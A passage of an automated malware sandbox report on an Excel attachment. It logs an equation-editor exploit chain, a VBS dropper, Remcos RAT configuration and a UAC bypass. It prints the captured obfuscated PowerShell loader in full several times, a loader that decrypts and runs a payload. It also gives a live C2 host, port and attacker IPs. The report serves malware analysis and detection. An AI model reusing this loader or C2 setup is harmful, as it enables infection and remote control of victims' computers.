bx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion'
              Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion'
              Sigma detected: Suspicious Microsoft Office Child Process
              Source: Process startedAuthor: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createactiveimagesbeautygirlf.vBS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createactiveimagesbeautygirlf.vBS" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 2872, ParentProcessName: EXCEL.EXE, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createactiveimagesbeautygirlf.vBS" , ProcessId: 1216, ProcessName: wscript.exe
              Sigma detected: WScript or CScript Dropper
              Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createactiveimagesbeautygirlf.vBS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createactiveimagesbeautygirlf.vBS" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 2872, ParentProcessName: EXCEL.EXE, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createactiveimagesbeautygirlf.vBS" , ProcessId: 1216, ProcessName: wscript.exe
              Sigma detected: Excel Network Connections
              Source: Network ConnectionAuthor: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 188.114.97.3, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, Initiated: true, ProcessId: 2872, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49163
              Sigma detected: Suspicious Office Outbound Connections
              Source: Network ConnectionAuthor: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49163, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, Initiated: true, ProcessId: 2872, Protocol: tcp, SourceIp: 188.114.97.3, SourceIsIpv6: false, SourcePort: 80
              Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
              Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createactiveimagesbeautygirlf.vBS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createactiveimagesbeautygirlf.vBS" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 2872, ParentProcessName: EXCEL.EXE, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createactiveimagesbeautygirlf.vBS" , ProcessId: 1216, ProcessName: wscript.exe
              Sigma detected: Modification of IE Registry Settings
              Source: Registry Key setAuthor: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ProcessId: 2872, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings
              Sigma detected: Non Interactive PowerShell Process Spawned
              Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion'
              Sigma detected: Office Macro File Creation
              Source: File createdAuthor: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE, ProcessId: 1788, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm
              Sigma detected: Potential Encoded PowerShell Patterns In CommandLine
              Source: Process startedAuthor: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion'
              Sigma detected: PowerShell Script Dropped Via PowerShell.EXE
              Source: File createdAuthor: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1416, TargetFilename: C:\Users\user\AppData\Local\Temp\m5fdzyzz.1rs.ps1

              Stealing of Sensitive Information

              barindex
              Sigma detected: Remcos
              Source: Registry Key setAuthor: Joe Security: Data: Details: 77 A9 80 9E 90 2C B8 6C 51 BA A5 B2 8E A0 16 C7 79 D0 CC 92 08 78 EC 20 68 CF E2 8F A1 4B DE A4 4E 3B 44 07 84 89 BB 52 B7 F6 66 B9 84 EE 49 49 A7 72 B3 8C 9D E0 39 B5 2D C9 20 F9 BF 26 10 6C 21 F5 FC 78 E6 40 52 82 2A 39 1D 19 F1 FC 37 85 40 FD 38 55 FE 96 C3 B0 43 02 77 EB 3D 1C 38 07 1B 75 19 AC EF 04 FA 29 66 07 FE 4F 4E D5 08 7D 33 BA , EventID: 13, EventType: SetValue, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, ProcessId: 628, TargetObject: HKEY_CURRENT_USER\Software\Rmc-R2I0JW\exepath

              Snort Signatures

              ⊘No Snort rule has matched

              Suricata Signatures

              Timestamp:2024-07-26T13:16:39.282032+0200
              SID:2036594
              Source Port:49171
              Destination Port:14645
              Protocol:TCP
              Classtype:Malware Command and Control Activity Detected
              Timestamp:2024-07-26T13:16:33.981629+0200
              SID:2049038
              Source Port:80
              Destination Port:49169
              Protocol:TCP
              Classtype:A Network Trojan was detected
              Timestamp:2024-07-26T13:16:36.084330+0200
              SID:2020424
              Source Port:80
              Destination Port:49170
              Protocol:TCP
              Classtype:Exploit Kit Activity Detected
              Timestamp:2024-07-26T13:16:41.061593+0200
              SID:2803304
              Source Port:49172
              Destination Port:80
              Protocol:TCP
              Classtype:Unknown Traffic
              Timestamp:2024-07-26T13:16:32.868623+0200
              SID:2047750
              Source Port:80
              Destination Port:49169
              Protocol:TCP
              Classtype:A Network Trojan was detected

              Joe Sandbox Signatures

              Click to jump to signature section

              Show All Signature Results

              AV Detection

              barindex
              Antivirus detection for dropped file
              Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\funtogetbacktomeforgetbacktogetbackkissthingtheentirethingstogetbacktomewithentirethingstogetback_____imangreadytoseegirlfrnd[1].docAvira: detection malicious, Label: HEUR/Rtf.Malformed
              Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\823F0820.docAvira: detection malicious, Label: HEUR/Rtf.Malformed
              Found malware configuration
              Source: 0000000C.00000002.622570366.0000000000711000.00000004.00000020.00020000.00000000.sdmpMalware Configuration Extractor: Remcos {"Host:Port:Password": "2024remcmon.duckdns.org:14645:1", "Assigned name": "zynova", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-R2I0JW", "Keylog flag": "0", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}
              Multi AV Scanner detection for submitted file
              Source: Purchase Inquiry.xla.xlsxReversingLabs: Detection: 18%
              Yara detected Remcos RAT
              Source: Yara matchFile source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.powershell.exe.41fd080.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.powershell.exe.41fd080.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0000000C.00000002.622570366.00000000006F5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000C.00000002.622570366.0000000000711000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.507482105.0000000003ED8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 1416, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 628, type: MEMORYSTR
              Machine Learning detection for sample
              Source: Purchase Inquiry.xla.xlsxJoe Sandbox ML: detected
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00433837 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,12_2_00433837
              Source: powershell.exe, 0000000A.00000002.507482105.0000000003ED8000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: -----BEGIN PUBLIC KEY-----memstr_1aa9d6e8-8

              Exploits

              barindex
              Yara detected UAC Bypass using CMSTP
              Source: Yara matchFile source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.powershell.exe.41fd080.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.powershell.exe.41fd080.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.507482105.0000000003ED8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 1416, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 628, type: MEMORYSTR
              Office equation editor establishes network connection
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXENetwork connect: IP: 192.3.176.154 Port: 80Jump to behavior
              Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Windows\SysWOW64\wscript.exeJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

              Privilege Escalation

              barindex
              Contains functionality to bypass UAC (CMSTPLUA)
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004074FD _wcslen,CoGetObject,12_2_004074FD
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
